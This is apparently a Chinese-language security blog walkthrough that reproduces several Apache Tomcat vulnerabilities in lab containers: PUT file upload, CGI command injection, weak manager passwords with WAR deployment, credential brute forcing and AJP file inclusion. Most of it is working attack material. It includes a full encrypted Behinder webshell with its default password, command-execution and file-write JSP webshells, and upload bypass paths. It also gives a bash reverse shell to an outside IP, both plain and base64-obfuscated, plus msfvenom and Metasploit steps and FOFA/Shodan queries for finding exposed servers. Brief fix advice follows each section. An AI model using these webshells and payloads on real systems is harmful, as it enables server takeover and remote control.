其他
原创 | web中间件安全-Tomcat漏洞复现
前言
Tomcat简介
Tomcat安装
https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html
https://tomcat.apache.org/download-80.cgihttps://archive.apache.org/dist/tomcat/tomcat-8/
http://localhost:8080
显示一下页面表示安装成功:C:\Program Files\Apache Software Foundation\Tomcat 8.5
漏洞复现
1、任意文件写入(CVE-2017-12615)
1)影响范围
影响范围:Apache Tomcat 7.0.0-7.0.81(默认配置)
复现环境:Tomcat 8.5.19
sudo docker ps
sudo docker exec -ti 0f864 bash
cat conf/web.xml | grep readonly
访问靶机
http://192.168.3.14:8080
2)漏洞复现
抓包将请求方式修改为PUT进行写入文件
查看结果,成果写入文件,这里注意,响应头201表示写入文件成功,如果是204,是因为文件夹中已存在此文件名的文件,会自动覆盖写入文件内容
上传webshell
使用vulhub CVE-2017-12615的tomcat 8.5.19版本进行测试
绕过方法如下
1. 空格绕过
PUT /ch4nge.jsp%20上传到windows会被自动去掉末尾空格
2. NTFS流绕过
PUT /ch4nge1.jsp::$DATA
3./绕过
PUT /ch4nge2.jsp/
上传成功
使用冰蝎的jsp webshell,连接密码是rebeyond
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
经过三种上传方式的连接发现只有第三种可以连接成功
验证:第一种上传的后缀名后面有一个空格,第二个后面有
::$DATA
,第三个正常上传命令执行木马
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
http://192.168.3.14:8080/ch4nge2.jsp?cmd=id
执行成功
3)修复建议
将wen.xml文件中的readonly=true,默认为true2、远程代码执行(CVE-2019-0232)
1)影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
影响系统:Windows
复现环境:9.0.17
2)环境搭建
1.配置CGI
在C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\web.xml中启用CGIServlet,注意cgipath要修改为WEB-INF/cgi-bin:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
1. enableCmdLineArguments启用后会将Url中的参数传递到命令行
2. executable 指定了执行的二进制文件,默认是 perl,需要置为空才会执行文件本身。
2.启用cgi的servlet-mapping
修改C:\Program Files\Apache Software Foundation\Tomcat 9.0\conf\context.xml的添加 privileged="true"属性,否则会没有权限:
<Context privileged="true">
3.配置目录文件
在
C:\Program Files\Apache Software Foundation\Tomcat 8.5\webapps\ROOT\WEB-INF
下创建cgi-bin目录,并在该目录下创建一个ch4nge.bat的文件,内容任意3)漏洞复现
http://127.0.0.1:8080/cgi-bin/ch4nge.bat?&dir
4)漏洞原理分析
参考https://paper.seebug.org/958/
漏洞相关的代码在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一个cgi的调用接口,在启用 enableCmdLineArguments 参数时,会根据RFC 3875来从Url参数中生成命令行参数,并把参数传递至Java的 Runtime 执行。这个漏洞是因为 Runtime.getRuntime().exec 在Windows中和Linux中底层实现不同导致的。
举例说明,在Windows下创建ch4nge.bat:
rem ch4nge.bat
echo %*
执行如下的ch4nge.java代码:
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ch4nge
{
public static void main(String[] args)
{
Process p;
String [] cmd={"ch4nge.bat", "ch4nge", "&", "whoami"};
try
{
//执行命令
p = Runtime.getRuntime().exec(cmd);
//取得命令结果的输出流
InputStream fis=p.getInputStream();
//用一个读输出流类去读
InputStreamReader isr=new InputStreamReader(fis);
//用缓冲器读行
BufferedReader br=new BufferedReader(isr);
String line=null;
//直到读完为止
while((line=br.readLine())!=null)
{
System.out.println(line);
}
}
catch (IOException e)
{
e.printStackTrace();
}
}
}
在Windows下会输出 arg和dir 命令运行后的结果。
Linux环境下测试:
#!/bin/bash
# ch4nge.sh
for key in "$@"
do
echo '$@' $key
done
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class ch4nge
{
public static void main(String[] args)
{
Process p;
String [] cmd={"/root/桌面/tomcattest/ch4nge.sh", "ch4nge", "&", "whoami"};
try
{
//执行命令
p = Runtime.getRuntime().exec(cmd);
//取得命令结果的输出流
InputStream fis=p.getInputStream();
//用一个读输出流类去读
InputStreamReader isr=new InputStreamReader(fis);
//用缓冲器读行
BufferedReader br=new BufferedReader(isr);
String line=null;
//直到读完为止
while((line=br.readLine())!=null)
{
System.out.println(line);
}
}
catch (IOException e)
{
e.printStackTrace();
}
}
}
此时输出为
$@ ch4nge
$@ &
$@ whoami
5)修复建议
1,使用更新版本的Apache Tomcat。这里需要注意的是,虽然在9.0.18就修复了这个漏洞,但这个更新是并没有通过候选版本的投票,所以虽然9.0.13没有在被影响的列表中,用户仍需要下载9.0.19的版本来获得没有该漏洞的版本。
2.关闭enableCmdLineArquments参数
3、后台弱口令部署war包
1)影响范围
Tomcat7-tomcat8
2)环境搭建
设置允许远程访问该manager
(1)拷出vulhub中tomcat8环境的tomcat-users.xml文件
docker ps
docker exec -ti 8e4 bash
cd conf
docker cp 8e44ff73d992:/usr/local/tomcat/conf/tomcat-users.xml /root/Desktop/
docker cp 8e44ff73d992:/usr/local/tomcat/conf/tomcat-users.xsd /root/Desktop/
docker cp 8e44ff73d992:/usr/local/tomcat/conf/web.xml /root/Desktop/
tomcat-users.xml源码如下
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
</tomcat-users>
(2)在conf/tomcat-users.xml文件中配置用户的权限:
将从docker中拷出来的tomcat-users.xml文件内容替换进来
(3)修改
C:\tomcat9\conf\Catalina\localhost
路径下的manager.xml文件,如果该路径下面没有此文件,则新建,内容如下:<Context privileged="true" antiResourceLocking="false" docBase="${catalina.home}/webapps/manager">
<Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" />
</Context>
登录manager管理页面
默认用户名密码是tomcat/tomcat
3)漏洞复现
生成war的webshell包
方法一
将jsp的webshell压缩成zip文件,把文件后缀修改为war
或者zip命令
zip -r - ch4nge.jsp > ch4nge.war
方法二,java命令
jar -cvf ch4nge.war ch4nge.jsp
<%@page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*"%>
<html>
<head>
<title></title>
<style type="text/css">
body { color:red; font-size:12px; background-color:white; }
</style>
</head>
<body>
<%
if(request.getParameter("context")!=null)
{
String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");
String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");
OutputStream pt = null;
try {
pt = new FileOutputStream(path);
pt.write(context.getBytes());
out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>");
} catch (FileNotFoundException ex2) {
out.println("<font color='red'>上传失败!</font>");
} catch (IOException ex) {
out.println("<font color='red'>上传失败!</font>");
} finally {
try {
pt.close();
} catch (IOException ex3) {
out.println("<font color='red'>上传失败!</font>");
}
}
}
%>
<form name="frmUpload" method="post" action="">
<font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %>
<br>
<br>
<font color="blue">上传文件路径:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>">
<br>
<br>
上传文件内容:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea>
<br>
<br>
<input type="submit" name="btnSubmit" value="Upload">
</form>
</body>
</html>
将ch4nge.jsp压缩成ch4nge.zip
或者使用java命令
上传war木马
成功上传
查看上传位置/ch4nge
访问webshell
4)冰蝎上线
成功连接
webshell木马下载地址
https://github.com/tennc/webshell
5)MSF上线
使用模块
exploit/multi/http/tomcat_mgr_upload
成功获取shell,system权限
6)修复建议
1、在系统上以低权限运行Tomcat应用程序。创建一个专门的Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。
2、增加对于本地和基于证书的身份验证,部署账户锁定机制《对于集中式认证,目录服务也要做相应配置)。在CATALITNA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
4、Tomcat manager口令爆破方法
1)获取用户名密码字段
在登录位置抓包
http://192.168.253.86:8080/manager/html
账号密码的字段使用base64编码,解码结果是:
tomcat:tomcat
2)爆破
登录位置抓包
变量选中base64编码内容
有效载荷类别选择自定义迭代器
Custom iterator
位置1填入用户名
位置2填入符号
位置3填入密码
选择base64编码
url编码勾选去掉:
开启攻击,爆破成功
dG9tY2F0OnRvbWNhdA==
解码
3)修复建议
0. 使用复杂密码
1.取消manager/html功能。
2. manager页面应只允许本地IP访问
5、Tomcat AJP文件包含漏洞分析(CVE-2020-1938)
1)影响版本
Apache Tomcat 9.x < 9.0.31Apache
Tomcat 8.x < 8.5.51Apache
Tomcat 7.x < 7.0.100Apache
Tomcat 6.x
漏洞影响:读取webapp下的所有文件
2)漏洞复现
(1)启动vulhub环境
docker-compose up -d
此次漏洞产生的位置是8009的AJP协议,此处使用公开的利用脚本进行测试,可以读取web.xml文件。
漏洞exp下载
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
运行环境:python2
运行正常
读取WEB-INF/web.xml文件
靶机地址:192.168.11.92
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f /WEB-INF/web.xml
在靶场中的ROOT目录中新建文件用来测试读取,成功
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f ch4nge.txt
文件包含RCE复现
该漏洞可以任意文件类型解析为jsp,从而达到任意命令执行的效果。但漏洞需要配合文件上传漏洞才可利用,假设目标服务器已经有了一个shell.txt,里面内容是执行任意命令,可以执行以下命令得到命令执行结果
在线bash payload生成:
http://www.jackson-t.ca/runtime-exec-
payloads.htmlpayload
bash -i &>/dev/tcp/192.168.10.225/8888 <&1
payload为
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAuMjI1Lzg4ODggPCYx}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
将内容保存为ch4nge1.txt,复制到服务器的ROOT路径,在实际的渗透操作中可以使用前面用到的漏洞,使用PUT方法写入文件
查看id
docker ps
复制到服务器路径
docker cp /root/Desktop/ch4nge1.txt e20097e2c8c1:/usr/local/tomcat/webapps/ROOT
查看文件
docker-compose exec tomcat cat webapps/ROOT/ch4nge1.txt
kali监听8888端口
nc -lvp 8888
注意:要想文件包含,必须要运行包含的文件,所以目标文件是jsp才可以,这里需要修改exp中第296行的文件名asdf为asdf.jsp
成功反弹shell
3)MSF上线
msfvenom生成木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.225 LPORT=6666 R > shell.txt
将文件上传到服务器ROOT路径,操作同前面一样
docker cp /root/Desktop/shell.txt e20097e2c8c1:/usr/local/tomcat/webapps/ROOT
docker-compose exec tomcat cat webapps/ROOT/shell.txt
msf开启监听
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.10.225
set lport 6666
exploit -j
执行文件包含exp
重要的事情再说一遍!注意:
要想文件包含,必须要运行包含的文件,所以目标文件是jsp才可以,这里需要修改exp中第296行的文件名asdf为asdf.asp
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f shell.txt
成功!!!
4)修复建议
1、将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复。
2、禁用AJP协议
具体方法:编辑/conf/server.xml,找到如下行
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
将此行注释掉,或者删掉
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
3、配置secret来设置AJP协议的认证凭证。
例如(注意必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
FOFA&Shodan搜索方法
fofa
app="Apache-tomcat"
shodan
product:"Apache Tomcat/Coyote JSP engine" http.html:"Managing Tomcat"
参考
相关文件下载
提取码:ar20
相关推荐